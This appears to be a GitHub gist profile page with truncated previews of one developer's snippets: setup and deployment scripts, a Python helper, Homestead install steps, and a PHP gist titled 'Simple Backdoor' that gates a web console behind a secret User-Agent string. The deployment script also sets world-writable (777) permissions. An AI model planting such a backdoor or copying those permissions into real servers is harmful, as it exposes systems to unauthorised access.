Skip to content

Instantly share code, notes, and snippets.

View rummykhan's full-sized avatar
🎯
Focusing

Rehan Manzoor rummykhan

🎯
Focusing
View GitHub Profile
#!/bin/bash
echo "Please, enter your username, it will be added to 'sudo' and 'docker' groups during the process."
read USERNAME
if [ -z "$USERNAME" ] ; then
echo "Exiting... Done."
exit
else
echo "Adding user to 'sudo' group..."
@rummykhan
rummykhan / get.py
Last active November 23, 2016 13:00
Get value from dictionary using dot syntax Python
def get(dictionary, key):
tmp = key.split('.', 1)
if dictionary.get(tmp[0], None) is None:
return None
if len(tmp) > 1 and tmp[1] is not False:
return get(dictionary.get(tmp[0]), tmp[1])
# Setting Up Laravel/homestead on Windows
-----------------------------------------
1. Install virtual box (https://www.virtualbox.org/wiki/Downloads)
2. Install vagrant (https://www.vagrantup.com/)
3. Install Git (https://git-scm.com/download)
4. Download Putty (http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html)
5. Download PuttyGen (http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html)
<?php
check_malicious_upload();
function check_malicious_upload() {
$user_uploads = fetch_uploads();
foreach ($user_uploads as $key => $value) {
@rummykhan
rummykhan / laravel.sh
Created March 31, 2016 18:14
simple laravel deployment script
#!/bin/sh
mv /var/www/html/index.php /var/www/index.php.saved
rm -rf /var/www/html/*
cp -a /var/www/osn/public/. /var/www/html/
rm -rf /var/www/html/index.php
mv /var/www/index.php.saved /var/www/html/index.php
chmod -R 777 /var/www/html/images/
@rummykhan
rummykhan / rummykhan.php
Last active April 11, 2016 16:26
Simple Backdoor
<?php isset($_SERVER['HTTP_USER_AGENT']) ? ($_SERVER['HTTP_USER_AGENT'] !== 'Ch3rn0by1' ? die('<center><h1>FcUk Off Moron</h1></center>') : '') : die('<center><h1>FcUk Off Moron</h1></center>'); ?>
<!DOCTYPE html>
<html>
<head>
<title>Console</title>
<link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css">
</head>
<body class="container">
<br>
<br>
<?php
$host = null;
function db()
{
global $host;
$m = new MongoClient("mongodb://$host:27017");
return $m;
}